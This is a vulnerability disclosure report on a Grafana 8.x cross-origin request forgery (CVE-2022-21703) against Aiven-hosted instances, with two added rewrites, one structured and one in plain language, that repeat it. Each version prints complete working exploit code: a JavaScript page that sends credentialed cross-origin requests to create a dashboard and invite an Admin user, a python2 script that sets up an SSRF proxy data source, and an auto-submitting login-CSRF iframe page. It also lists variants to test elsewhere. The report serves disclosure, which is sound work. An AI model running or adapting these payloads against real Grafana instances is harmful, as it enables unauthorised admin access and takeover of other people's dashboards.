0-day Cross Origin Request Forgery vulnerability in Grafana 8.x .
Grafana's session cookie was set with SameSite=Lax, allowing cross-origin requests from a malicious Grafana instance to act on behalf of an authenticated victim. An attacker could force the victim to create a new admin user and a dashboard on the victim's Grafana instance.
- Triaged in 3 days
- Fixed in 40 days
- Paid in 10 days
- Disclosed after 53 days
Disclaimer
To triage, please note that this is still a 0-day that was alerted to Grafana already, in order to make sure the client is safe I report this issue now, please make sure to not spread it further or leak it, as the best interest is to let you be aware and safer from any potential attacks in the meantime.
Description
@jub0bs and I have found a cross-origin request forgery attack issue in the Grafana instances hosted on the Aiven platforms (CVE-2022-21703, which is still a 0-Day CVE on Grafana) .
With the cross-origin request forgery attack it's possible for an attacker to successfully mount cross-origin request forgery attack against authenticated victims of other grafana instances hosted on *.aivencloud.com.
Exploitation
So here is the attack story an example user John Doe runs a grafana instance at https://johndoe.aivencloud.com.
An attacker will deploy his own grafana instance at https://attacker.aivencloud.com, this attacker's instance would host a malicous html file with a javascript payload, that will trigger the cross-origin request forgery attack against John Doe while he is logged into https://johndoe.aivencloud.com .
Now thanks to this attack all POST / GET requests would work thanks to the cross-origin-request-forgery attack, the root cause of this is because grafana sets their auth cookie grafana_session to SameSite=Lax; Secure https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/
Attack Chain.
The attack chain is as follows;
- Attacker would send a link to the victim.
- When the victim clicks the link, victim will be forced into logging into the attackers grafana instance via login CSRF.
- User would be redirected to a vulnerable SSRF endpoint on the attackers grafana instance, this endpoint would trigger cross-origin-request-forgery attack (CVE-2022-21703, which is still a 0-Day CVE on Grafana) to the victims grafana instance.
- Attack is complete, now the CSRF would have triggered the following actions ;
- force the victim to create a new user on the victims grafana instance.
- force the victim to create a dashboard

Requirements.
- three seperate web browser instances .
- a http / https file server to host our payloads.
- python2.
- pip2.
Steps to Reproduce .
- Login into Aiven Console, at https://console.aiven.io, in a new browser instance let's call it B-1.
- On B1, create two new Grafana instance, name the first one attacker and the second victim, wait till it's up and running.

- Now click on the Grafana attacker instance in the Aiven Console, then head to the bottom of that page.


- Add the below advanced configurations;
allow_embedding
cookie_samesite --> none

Then click the Save advanced configuration button.
- Open a new browser instance, call it B-attacker, log into the attacker grafana instance.

- On B-attacker, open up dev tools, then copy & note down the value of your grafana
grafana_sessioncookie .

- Now its time to save our cross-origin-request-forgery payload .
<html>
<head></head>
<body>
<h1>cross-origin-request-forgery POC</h1>
<div id=statusdiv></div>
<script>
var victim_instance = "<vic_instance>";
function log_status(msg) {
//status logger.
let com = document.getElementById('statusdiv')
com.innerHTML += "<h2>" + msg + "</h2>"
}
function dashboard_poc() {
log_status("[*] Creating Dashboard")
var url = `${victim_instance}/api/dashboards/db`
fetch(url,
{
method:"POST",
mode:"no-cors",
credentials:"include",
headers: {
"Content-Type": "text/plain; application/json"
},
body: JSON.stringify(
{
"dashboard": {
"title": "grafana_csrf_0_day"
}
}
)
})
}
function invite_poc() {
log_status("[*] Creating User")
var url = `${victim_instance}/api/org/invites`
fetch(url,
{
method:"POST",
mode:"no-cors",
credentials:"include",
headers: {
"Content-Type": "text/plain; application/json"
},
body: JSON.stringify(
{
"name": "attacker",
"email": "",
"role": "Admin",
"sendEmail": false,
"loginOrEmail": "[email protected]"
}
)
})
}
function finish_up() {
log_status("[+] Inspect the list of dashboards on your Grafana instance at" + victim_instance +"/dashboards; you should see a new dashboard named `grafana_csrf_0_day`.")
log_status("[+] Inspect the the list of pending user invitations on your Grafana instance at" + victim_instance +"/org/users; you should see one for `attacker`.")
}
log_status("[*] Starting Attack")
dashboard_poc()
invite_poc()
setTimeout(finish_up, 20000);
</script>
</body>
</html>
Replace the above string <vic_instance> to the victims grafana instance url, e.g https://grafana-xmen.aivencloud.com .
Now save the edited payload on yout http(s) server as c-o-payload.html .



- Save the below python2 script as
create_ssrf_endpont.py.
import requests
import random
import string
import sys
if len(sys.argv) != 4 :
print 'Usage: %s "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie"' % sys.argv[0]
sys.exit()
def rand_genarator(length):
return ''.join(random.choice(string.ascii_letters + string.digits) for i in range(length))
def create_ssrf(url_, payload_url, cookie):
url = url_.strip("/") + "/api/datasources"
cookies = {"redirect_to": "%2F", "grafana_session": cookie}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json"
}
json = {
"access": "proxy",
"isDefault": False,
"name": "Prometheus - " + rand_genarator(7),
"type": "prometheus",
"url": payload_url
}
res = requests.post(url, headers=headers, cookies=cookies, json=json)
print('[+] SSRF Endpoint {}/api/datasources/proxy/{}'.format(url_.strip("/"), res.json()['id']))
create_ssrf(sys.argv[1], sys.argv[2], sys.argv[3])
Run the command, pip2 install requests .
Now run the script by running the command, python2 create_ssrf_endpont.py "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie" .
Note the following;
https://attacker-grafana-instance --> this is the attackers grafana instance.
http://cross-origin-payload-url --> this is the url of the payload you saved step 7.
attacker-grafana-instance-cookie -> this is the grafana_session cookie your copied in step 6.

Now note down the SSRF url, the script outputs.
- Now its time to save our cross-origin-request-forgery payload .
<html>
<head></head>
<body>
<h1>CSRF Login POC, you will be redirected in 20 seconds</h1>
<div id=statusdiv></div>
<script>
var attacker_instance = "<att_instance>";
var attacker_instance_username = "avnadmin";
var attacker_instance_password = "<att_password>";
var attacker_csrf_proxy = "<att_ssrf_url>";
var csrf_html = `
<form enctype="text/plain" action="${attacker_instance}/login" method=POST>
<input type="text" name='{"user":"${attacker_instance_username}","password":"${attacker_instance_password}","dummy":"' value='"}'>
<input type="submit">
</form>
<svg onload=document.forms[0].submit()>
`;
function log_status(msg) {
//status logger.
let com = document.getElementById('statusdiv')
com.innerHTML += "<h2>" + msg + "</h2>"
}
function create_iframe() {
log_status("[*] Logging victim into our grafana instance");
var iframe = document.createElement("iframe");
iframe.hidden = true;
iframe.srcdoc = csrf_html;
document.body.appendChild(iframe);
log_status("[+] Redirecting to our SSRF Payload");
}
function xmen() {
//redirects to our datasource, where can serve the grafana 0-day.
window.location = attacker_csrf_proxy;
}
create_iframe()
setTimeout(xmen, 20000);
</script>
</body>
</html>
Replace the below listed strings;
<att_instance> to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .
<att_password> to the password of the attackers grafana instance url, you should see this in the aiven console .
<att_ssrf_url> to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .
Now save the edited payload on yout http(s) server as c-s-login.html .



- Open a new browser instance, call it B-victim, log into the victim grafana instance.

- Now open below url, in new tab on B-victim;
http://your_server/c-s-login.html
Note replace your_server with the server ip / hostname, where you saved the payload in step 9.



- On B-victim check your dashboard list & users invite list, you will notice a new dashboard was created & a new user was invited.


Video POC.
Impact
Risk
By luring the authenticated Grafana Admin to the malicious page, the attacker can gain access to your Grafana instance as an Organization Admin. This privilege escalation would, among other things, allow him to view/add/edit/remove dashboards and users.
Remediation
As of now there is no official remediation, Grafana are aware of the issue and will ship a fix soon.
It's highly possible that there will be intrusion attempts against your Grafana instance, for that make sure:
- Monitor your Grafana users dashboard to see no new additions
- Alert your high priv Grafana administrators to not navigate to unwanted links in the coming days.
References
Conclusion .
With all said , I have to say this to you .

Context
Aiven hosts managed Grafana instances for its customers, each reachable at its own subdomain of *.aivencloud.com. A customer running an instance at https://johndoe.aivencloud.com is an authenticated Grafana user on that host, and Grafana keeps that session in a cookie named grafana_session.
The report describes a cross-origin request forgery (CSRF) attack against those hosted instances, tracked as CVE-2022-21703. At the time of writing the researcher states the CVE was still a 0-day on Grafana. The attack lets an attacker who controls another Grafana instance on the same platform make an authenticated victim's browser send state-changing requests to the victim's own instance, without the victim doing anything beyond following a link.
The researcher credits @jub0bs as co-finder.
Setup
The reproduction needs:
- three separate browser instances;
- an HTTP or HTTPS file server to host the payloads;
- python2 and pip2.
The researcher labels the browser instances B-1 (Aiven Console), B-attacker (the attacker's Grafana instance) and B-victim (the victim's Grafana instance). Two Grafana instances are created on Aiven, one named attacker and one named victim.
Finding it
The starting observation is the cookie configuration. Grafana sets its auth cookie grafana_session with SameSite=Lax; Secure. With SameSite=Lax, the cookie is not sent on cross-site subresource requests such as fetch, but the researcher links to a write-up on SameSite confusion (https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/) as the background for why this is not sufficient protection here.
The second ingredient is that Aiven exposes advanced Grafana configuration to the instance owner. Two settings matter:
allow_embedding
cookie_samesite --> none
The report sets cookie_samesite to none on the attacker's instance but does not explain the effect. The report lists allow_embedding as an advanced configuration but does not explain it.
The third ingredient is a server-side request forgery primitive on the attacker's instance: a Grafana data source of type prometheus with access: proxy makes the Grafana backend fetch a URL chosen by the data source owner. The script prints the proxy URL, and the second payload navigates the victim's browser to it.
Exploitation
The attack chain in the report is:
- The attacker sends a link to the victim.
- When the victim clicks it, the victim is forced into logging into the attacker's Grafana instance via login CSRF.
- The user is redirected to a vulnerable SSRF endpoint on the attacker's Grafana instance, which triggers the cross-origin request forgery attack against the victim's Grafana instance.
- The CSRF then forces the victim to create a new user on the victim's instance and to create a dashboard.

Step 1: create the two instances
Log in to the Aiven Console at https://console.aiven.io in browser instance B-1, then create two new Grafana instances, naming the first attacker and the second victim, and wait until both are running.

Step 2: open the attacker instance settings
Click the Grafana attacker instance in the Aiven Console and scroll to the bottom of that page.


Step 3: set the advanced configuration
Add the following advanced configuration:
allow_embedding
cookie_samesite --> none
Then click the Save advanced configuration button.

Step 4: capture the attacker session cookie
Open a new browser instance, B-attacker, and log in to the attacker Grafana instance.

Open the developer tools and copy the value of the grafana_session cookie. It is needed later to create the SSRF endpoint through the API.

Step 5: host the CSRF payload
Save the following page on the HTTP(S) server as c-o-payload.html, replacing <vic_instance> with the victim's Grafana instance URL, for example https://grafana-xmen.aivencloud.com.
<html>
<head></head>
<body>
<h1>cross-origin-request-forgery POC</h1>
<div id=statusdiv></div>
<script>
var victim_instance = "<vic_instance>";
function log_status(msg) {
//status logger.
let com = document.getElementById('statusdiv')
com.innerHTML += "<h2>" + msg + "</h2>"
}
function dashboard_poc() {
log_status("[*] Creating Dashboard")
var url = `${victim_instance}/api/dashboards/db`
fetch(url,
{
method:"POST",
mode:"no-cors",
credentials:"include",
headers: {
"Content-Type": "text/plain; application/json"
},
body: JSON.stringify(
{
"dashboard": {
"title": "grafana_csrf_0_day"
}
}
)
})
}
function invite_poc() {
log_status("[*] Creating User")
var url = `${victim_instance}/api/org/invites`
fetch(url,
{
method:"POST",
mode:"no-cors",
credentials:"include",
headers: {
"Content-Type": "text/plain; application/json"
},
body: JSON.stringify(
{
"name": "attacker",
"email": "",
"role": "Admin",
"sendEmail": false,
"loginOrEmail": "[redacted]"
}
)
})
}
function finish_up() {
log_status("[+] Inspect the list of dashboards on your Grafana instance at" + victim_instance +"/dashboards; you should see a new dashboard named `grafana_csrf_0_day`.")
log_status("[+] Inspect the the list of pending user invitations on your Grafana instance at" + victim_instance +"/org/users; you should see one for `attacker`.")
}
log_status("[*] Starting Attack")
dashboard_poc()
invite_poc()
setTimeout(finish_up, 20000);
</script>
</body>
</html>
The page sends two cross-origin fetch requests with mode: "no-cors" and credentials: "include", so the victim's grafana_session cookie is attached. The first posts to /api/dashboards/db to create a dashboard titled grafana_csrf_0_day. The second posts to /api/org/invites to invite a user named attacker with role Admin, sendEmail set to false and login [redacted]. The Content-Type is text/plain; application/json, which keeps the request a simple request so no CORS preflight is triggered. Because the mode is no-cors, the script cannot read the responses; it only reports status messages and, after 20 seconds, tells the operator where to look for the results.



Step 6: create the SSRF endpoint
Save the following python2 script as create_ssrf_endpont.py.
import requests
import random
import string
import sys
if len(sys.argv) != 4 :
print 'Usage: %s "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie"' % sys.argv[0]
sys.exit()
def rand_genarator(length):
return ''.join(random.choice(string.ascii_letters + string.digits) for i in range(length))
def create_ssrf(url_, payload_url, cookie):
url = url_.strip("/") + "/api/datasources"
cookies = {"redirect_to": "%2F", "grafana_session": cookie}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json"
}
json = {
"access": "proxy",
"isDefault": False,
"name": "Prometheus - " + rand_genarator(7),
"type": "prometheus",
"url": payload_url
}
res = requests.post(url, headers=headers, cookies=cookies, json=json)
print('[+] SSRF Endpoint {}/api/datasources/proxy/{}'.format(url_.strip("/"), res.json()['id']))
create_ssrf(sys.argv[1], sys.argv[2], sys.argv[3])
The script authenticates with the grafana_session cookie captured in step 4 and posts a new data source to /api/datasources. The data source is a Prometheus source with access: proxy and its url set to the payload URL from step 5, so Grafana's backend will fetch that URL on the attacker's behalf. The script prints the resulting proxy URL, {instance}/api/datasources/proxy/{id}, using the id returned in the JSON response.
Install the dependency and run the script:
pip2 install requests
python2 create_ssrf_endpont.py "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie"
The arguments are:
https://attacker-grafana-instance --> this is the attackers grafana instance.
http://cross-origin-payload-url --> this is the url of the payload you saved step 7.
attacker-grafana-instance-cookie -> this is the grafana_session cookie your copied in step 6.
Note the SSRF URL the script outputs.

Step 7: host the login CSRF and redirect page
Save the following page on the HTTP(S) server as c-s-login.html.
<html>
<head></head>
<body>
<h1>CSRF Login POC, you will be redirected in 20 seconds</h1>
<div id=statusdiv></div>
<script>
var attacker_instance = "<att_instance>";
var attacker_instance_username = "avnadmin";
var attacker_instance_password = "<att_password>";
var attacker_csrf_proxy = "<att_ssrf_url>";
var csrf_html = `
<form enctype="text/plain" action="${attacker_instance}/login" method=POST>
<input type="text" name='{"user":"${attacker_instance_username}","password":"${attacker_instance_password}","dummy":"' value='"}'>
<input type="submit">
</form>
<svg onload=document.forms[0].submit()>
`;
function log_status(msg) {
//status logger.
let com = document.getElementById('statusdiv')
com.innerHTML += "<h2>" + msg + "</h2>"
}
function create_iframe() {
log_status("[*] Logging victim into our grafana instance");
var iframe = document.createElement("iframe");
iframe.hidden = true;
iframe.srcdoc = csrf_html;
document.body.appendChild(iframe);
log_status("[+] Redirecting to our SSRF Payload");
}
function xmen() {
//redirects to our datasource, where can serve the grafana 0-day.
window.location = attacker_csrf_proxy;
}
create_iframe()
setTimeout(xmen, 20000);
</script>
</body>
</html>
Replace the placeholders:
<att_instance> to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .
<att_password> to the password of the attackers grafana instance url, you should see this in the aiven console .
<att_ssrf_url> to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .
The page builds a hidden iframe with srcdoc containing a form that posts to the attacker's /login endpoint. The form uses enctype="text/plain" and a crafted name attribute so that the submitted body is JSON of the shape {"user":"avnadmin","password":"...","dummy":""}, which logs the victim's browser into the attacker's instance as avnadmin. An svg onload submits the form automatically. After 20 seconds the page navigates the top-level window to the SSRF proxy URL, which serves the payload from step 5 from the attacker's own origin.



Step 8: trigger the attack from the victim's browser
Open a new browser instance, B-victim, and log in to the victim Grafana instance.

In a new tab on B-victim, open the URL of the login page hosted in step 7, replacing your_server with the server IP or hostname where the payload was saved:
http://your_server/c-s-login.html



Step 9: verify the result
On B-victim, check the dashboard list and the pending user invitations. A new dashboard has been created and a new user has been invited.


A video POC accompanies the report.
Root cause
The report attributes the root cause to Grafana setting grafana_session to SameSite=Lax; Secure and links to a SameSite confusion write-up. The report points to the SameSite confusion write-up for the mechanics. The attacker's own instance is used as a same-origin staging point: the SSRF proxy endpoint serves the payload from the attacker's origin, so the victim's browser runs it in a context the attacker controls, and the fetch calls with credentials: "include" carry the victim's grafana_session cookie to the victim's instance.
Impact
By luring an authenticated Grafana Admin to the malicious page, the attacker can gain access to the Grafana instance as an Organization Admin. That privilege escalation allows the attacker to view, add, edit and remove dashboards and users, among other things. The report says the attack works against authenticated victims of other Grafana instances hosted on *.aivencloud.com, and that all POST and GET requests work through the cross-origin request forgery.
Fix
At the time of the report there was no official remediation; Grafana was aware of the issue and planned to ship a fix soon. The report's interim advice is to monitor the Grafana users dashboard for new additions and to warn high-privilege Grafana administrators not to navigate to unwanted links in the coming days.
Variants to test
- Check whether a target sets its session cookie with
SameSite=LaxorNoneand whether state-changing API endpoints accept simple content types without a CSRF token. A positive result is a cross-originfetchwithcredentials: "include"that changes state. - Look for a same-origin staging primitive such as a proxy or data source endpoint that fetches an attacker-controlled URL. A positive result is a page served from the target's own origin that runs attacker JavaScript.
- Test login CSRF against the target's login endpoint with a
text/plainform body. A positive result is the victim's browser being logged into an attacker-controlled account. - Test whether embedding is allowed and whether the cookie SameSite setting can be changed by the instance owner. A positive result is a hidden iframe that loads the login form and submits it automatically.
Conclusion

What happened, in plain words
Aiven is a company that runs software for other people. One of the things it runs is Grafana, a tool for making charts and dashboards out of data. Each Aiven customer gets their own private copy of Grafana at its own web address, something like https://johndoe.aivencloud.com. The part before .aivencloud.com is different for every customer, but they all live under the same roof.
When you log in to a website, the site needs a way to remember that you are you on the next page you open. It does this with a cookie: a small piece of text your browser stores and sends back to the site with every request. Think of it like a wristband you get at a festival. You show it once at the gate, and after that the staff let you back in without asking for your ticket again. Grafana's wristband is a cookie called grafana_session.
The report describes a way for an attacker to make your browser do things on your own Grafana instance without you agreeing to them. The trick is called cross-site request forgery, or CSRF. The idea is simple: your browser automatically attaches your wristband to every request it sends to a site, even when the request was started by a page on a completely different site. If an attacker can get your browser to send a request to your Grafana instance, the wristband goes along with it, and Grafana treats the request as if you had made it yourself.
The attack was tracked as CVE-2022-21703. A CVE is a public catalogue number for a known security flaw, so people can talk about the same bug without confusion. At the time the researcher wrote the report, they say this CVE was still a 0-day, meaning the flaw was known to the researcher but no official fix had been released yet. The researcher also credits @jub0bs as a co-finder of the issue.
The attack works because the attacker can create their own Grafana instance on the same Aiven platform, at a neighbouring address such as https://attacker.aivencloud.com. From there they can host a page that, when a logged-in victim opens it, quietly sends requests to the victim's own instance. The victim does nothing except click a link.
The pieces of the puzzle
Before walking through the steps, it helps to understand the three ingredients the researcher combined.
Ingredient one: the cookie setting
Cookies have a setting called SameSite. It tells the browser when it is allowed to send the cookie along with a request. SameSite=Lax is a middle setting: the cookie is not sent when a page on another site quietly fetches something in the background, but it can still be sent in some situations, for example when you navigate to a page by clicking a link. Grafana sets its grafana_session cookie to SameSite=Lax; Secure. The Secure part just means the cookie is only sent over encrypted HTTPS connections.
The researcher points to a public write-up at https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/ as background for why Lax is not enough protection here. The short version is that browsers and sites do not always agree on what counts as a cross-site request, and an attacker can sometimes arrange things so the browser thinks a request is fine to send the cookie with.
Ingredient two: settings the instance owner can change
Aiven lets the owner of a Grafana instance change some advanced settings. Two of them matter for this attack:
allow_embedding
cookie_samesite --> none
The report lists cookie_samesite --> none as an advanced configuration but does not explain its effect. The report lists allow_embedding as an advanced configuration but does not explain it.
Ingredient three: a way to make the server fetch a URL
Grafana can connect to data sources, which are external services it reads data from to draw charts. One supported type is Prometheus, a system for storing measurements over time. When you add a data source, you can tell Grafana to fetch it through its own server rather than directly from your browser. This is called access: proxy.
That proxy feature is the third ingredient. It is a form of server-side request forgery, or SSRF: the attacker can make Grafana's server fetch a web address of their choosing. The script prints the proxy URL, and the second payload navigates the victim's browser to it.
The attack chain
The report lays out the chain like this:
- The attacker sends a link to the victim.
- When the victim clicks it, the victim is forced into logging into the attacker's Grafana instance via login CSRF.
- The user is redirected to a vulnerable SSRF endpoint on the attacker's Grafana instance, which triggers the cross-origin request forgery attack against the victim's Grafana instance.
- The CSRF then forces the victim to create a new user on the victim's instance and to create a dashboard.

The diagram above shows this flow from the attacker's link through to the two actions on the victim's instance.
What you need
The reproduction needs:
- three separate browser instances;
- an HTTP or HTTPS file server to host the payloads;
- python2 and pip2.
A browser instance here means a separate browser profile or a separate browser, so that the cookies of one login do not mix with another. The researcher names them B-1 (for the Aiven Console), B-attacker (for the attacker's Grafana instance) and B-victim (for the victim's Grafana instance).
An HTTP file server is simply a program that hands out files over the web, so the attacker's payload pages have a public address the victim's browser can load. Python is a programming language; python2 is an old version of it, and pip2 is the tool that installs extra Python packages.
Step by step
Step 1: create the two instances
Log in to the Aiven Console at https://console.aiven.io in browser instance B-1. Create two new Grafana instances, naming the first attacker and the second victim, and wait until both are running.
Why two? The attacker needs a Grafana instance of their own to host the malicious page and to act as the staging point. The victim's instance is the target. Having both on the same platform is what makes the attack possible.

The screenshot shows the two instances created in the console.
Step 2: open the attacker instance settings
Click the Grafana attacker instance in the Aiven Console and scroll to the bottom of that page.


These screenshots show where the instance settings live.
Step 3: set the advanced configuration
Add the following advanced configuration:
allow_embedding
cookie_samesite --> none
Then click the Save advanced configuration button.
This is the step that weakens the attacker's own instance on purpose. cookie_samesite --> none makes its login cookie travel on cross-site requests, and allow_embedding lets its login page be loaded inside a hidden frame. Both are needed for the next trick.

Step 4: capture the attacker session cookie
Open a new browser instance, B-attacker, and log in to the attacker Grafana instance.

Open the developer tools and copy the value of the grafana_session cookie. Developer tools are the built-in panel in every browser, usually opened with F12, that lets you inspect what the page is doing, including its cookies. The cookie value is needed later to create the SSRF endpoint through the API.
An API is a set of web addresses a program can call to do things, as opposed to pages meant for a human to click. Grafana's API lets you create data sources, dashboards and users by sending requests to specific addresses.

Step 5: host the CSRF payload
Save the following page on the HTTP(S) server as c-o-payload.html, replacing <vic_instance> with the victim's Grafana instance URL, for example https://grafana-xmen.aivencloud.com.
<html>
<head></head>
<body>
<h1>cross-origin-request-forgery POC</h1>
<div id=statusdiv></div>
<script>
var victim_instance = "<vic_instance>";
function log_status(msg) {
//status logger.
let com = document.getElementById('statusdiv')
com.innerHTML += "<h2>" + msg + "</h2>"
}
function dashboard_poc() {
log_status("[*] Creating Dashboard")
var url = `${victim_instance}/api/dashboards/db`
fetch(url,
{
method:"POST",
mode:"no-cors",
credentials:"include",
headers: {
"Content-Type": "text/plain; application/json"
},
body: JSON.stringify(
{
"dashboard": {
"title": "grafana_csrf_0_day"
}
}
)
})
}
function invite_poc() {
log_status("[*] Creating User")
var url = `${victim_instance}/api/org/invites`
fetch(url,
{
method:"POST",
mode:"no-cors",
credentials:"include",
headers: {
"Content-Type": "text/plain; application/json"
},
body: JSON.stringify(
{
"name": "attacker",
"email": "",
"role": "Admin",
"sendEmail": false,
"loginOrEmail": "[redacted]"
}
)
})
}
function finish_up() {
log_status("[+] Inspect the list of dashboards on your Grafana instance at" + victim_instance +"/dashboards; you should see a new dashboard named `grafana_csrf_0_day`.")
log_status("[+] Inspect the the list of pending user invitations on your Grafana instance at" + victim_instance +"/org/users; you should see one for `attacker`.")
}
log_status("[*] Starting Attack")
dashboard_poc()
invite_poc()
setTimeout(finish_up, 20000);
</script>
</body>
</html>
This page is the heart of the attack. Here is what each part does.
var victim_instance = "<vic_instance>";stores the victim's Grafana address in a variable, so the rest of the script knows where to send requests.function log_status(msg)writes a message into the page so the person running the test can see what is happening. It is only a status display.function dashboard_poc()builds a request to${victim_instance}/api/dashboards/db, which is the API address for creating a dashboard. It usesfetch, a browser function for sending requests from a page.method: "POST"means it is sending data rather than just asking for a page.mode: "no-cors"tells the browser not to block the request even though it goes to another site; the trade-off is that the script cannot read the reply.credentials: "include"is the crucial part: it tells the browser to attach the victim's cookies, includinggrafana_session, to the request. TheContent-Typeis set totext/plain; application/json, which keeps the request in a simple form the browser will send without asking the other site for permission first. The body is a small piece of JSON, a text format for structured data, asking for a dashboard titledgrafana_csrf_0_day.function invite_poc()does the same thing against${victim_instance}/api/org/invites, the API address for inviting a user. The body asks for a user namedattackerwith roleAdmin,sendEmailset to false and login[redacted].function finish_up()prints where to look for the results: the dashboard list and the pending invitations list.- The last three lines start the attack: they log a message, call both functions, and after 20 seconds (
setTimeout(finish_up, 20000)) print the finishing messages.
Because the mode is no-cors, the script cannot read the responses. It only reports status messages and, after 20 seconds, tells the operator where to look for the results.



These screenshots show the payload saved on the file server.
Step 6: create the SSRF endpoint
Save the following python2 script as create_ssrf_endpont.py.
import requests
import random
import string
import sys
if len(sys.argv) != 4 :
print 'Usage: %s "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie"' % sys.argv[0]
sys.exit()
def rand_genarator(length):
return ''.join(random.choice(string.ascii_letters + string.digits) for i in range(length))
def create_ssrf(url_, payload_url, cookie):
url = url_.strip("/") + "/api/datasources"
cookies = {"redirect_to": "%2F", "grafana_session": cookie}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json"
}
json = {
"access": "proxy",
"isDefault": False,
"name": "Prometheus - " + rand_genarator(7),
"type": "prometheus",
"url": payload_url
}
res = requests.post(url, headers=headers, cookies=cookies, json=json)
print('[+] SSRF Endpoint {}/api/datasources/proxy/{}'.format(url_.strip("/"), res.json()['id']))
create_ssrf(sys.argv[1], sys.argv[2], sys.argv[3])
This script talks to the attacker's own Grafana instance and asks it to create a data source. Here is what each part does.
import requests,import random,import string,import sysload extra tools.requestssends web requests,randomandstringbuild a random name, andsysreads the arguments typed on the command line.- The
if len(sys.argv) != 4block checks that exactly three arguments were given and prints a usage message if not.sys.argvis the list of words typed after the script name. rand_genarator(length)builds a random string of letters and digits, used to give the data source a unique name.create_ssrf(url_, payload_url, cookie)is the main function. It builds the API address by adding/api/datasourcesto the attacker's instance address. It sets two cookies:redirect_toand thegrafana_sessioncookie captured in step 4, which proves to Grafana that the request is coming from the logged-in attacker. Theheadersblock mimics a normal browser so the request looks ordinary. Thejsonblock describes the new data source:access: "proxy"makes Grafana's server fetch the URL,type: "prometheus"is the data source type, andurl: payload_urlis the address of the payload page from step 5. The script sends the request and prints the resulting proxy address,{instance}/api/datasources/proxy/{id}, using theidreturned in the JSON response.- The last line calls the function with the three arguments from the command line.
Install the dependency and run the script:
pip2 install requests
python2 create_ssrf_endpont.py "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie"
The arguments are:
https://attacker-grafana-instance --> this is the attackers grafana instance.
http://cross-origin-payload-url --> this is the url of the payload you saved step 7.
attacker-grafana-instance-cookie -> this is the grafana_session cookie your copied in step 6.
Note the SSRF URL the script outputs. That address is where the victim's browser will be sent next.

Step 7: host the login CSRF and redirect page
Save the following page on the HTTP(S) server as c-s-login.html.
<html>
<head></head>
<body>
<h1>CSRF Login POC, you will be redirected in 20 seconds</h1>
<div id=statusdiv></div>
<script>
var attacker_instance = "<att_instance>";
var attacker_instance_username = "avnadmin";
var attacker_instance_password = "<att_password>";
var attacker_csrf_proxy = "<att_ssrf_url>";
var csrf_html = `
<form enctype="text/plain" action="${attacker_instance}/login" method=POST>
<input type="text" name='{"user":"${attacker_instance_username}","password":"${attacker_instance_password}","dummy":"' value='"}'>
<input type="submit">
</form>
<svg onload=document.forms[0].submit()>
`;
function log_status(msg) {
//status logger.
let com = document.getElementById('statusdiv')
com.innerHTML += "<h2>" + msg + "</h2>"
}
function create_iframe() {
log_status("[*] Logging victim into our grafana instance");
var iframe = document.createElement("iframe");
iframe.hidden = true;
iframe.srcdoc = csrf_html;
document.body.appendChild(iframe);
log_status("[+] Redirecting to our SSRF Payload");
}
function xmen() {
//redirects to our datasource, where can serve the grafana 0-day.
window.location = attacker_csrf_proxy;
}
create_iframe()
setTimeout(xmen, 20000);
</script>
</body>
</html>
Replace the placeholders:
<att_instance> to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .
<att_password> to the password of the attackers grafana instance url, you should see this in the aiven console .
<att_ssrf_url> to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .
This page does two things in sequence. Here is what each part does.
- The four
varlines store the attacker's instance address, the usernameavnadmin, the attacker's password, and the SSRF address from step 6. csrf_htmlis a small piece of HTML held as text. It contains a form that posts to${attacker_instance}/login, the attacker's login page. Theenctype="text/plain"and the carefully craftednameattribute make the submitted body look like JSON of the shape{"user":"avnadmin","password":"...","dummy":""}. In other words, the form is disguised so that the login page reads it as a normal login request. The<svg onload=document.forms[0].submit()>line submits the form automatically as soon as it loads, without the victim clicking anything.create_iframe()creates a hidden frame (iframe.hidden = true) and puts the form inside it withiframe.srcdoc = csrf_html. A frame is a small window inside a page that can show another page. The victim's browser is now logged into the attacker's Grafana instance asavnadmin.xmen()sends the whole browser window to the SSRF address withwindow.location = attacker_csrf_proxy. That address serves the payload from step 5 from the attacker's own origin.- The last two lines start the process:
create_iframe()runs immediately, andsetTimeout(xmen, 20000)waits 20 seconds before redirecting, giving the login form time to submit.



These screenshots show the login page saved on the file server.
Step 8: trigger the attack from the victim's browser
Open a new browser instance, B-victim, and log in to the victim Grafana instance.

In a new tab on B-victim, open the URL of the login page hosted in step 7, replacing your_server with the server IP or hostname where the payload was saved:
http://your_server/c-s-login.html
This is the moment the victim clicks the attacker's link. From here on, everything happens in the background: the hidden frame logs the victim into the attacker's instance, then the browser is redirected to the SSRF address, which serves the payload page from step 5. That page then sends the two requests to the victim's own instance, with the victim's cookie attached.



Step 9: verify the result
On B-victim, check the dashboard list and the pending user invitations. A new dashboard has been created and a new user has been invited.


A video POC accompanies the report.
Why it works
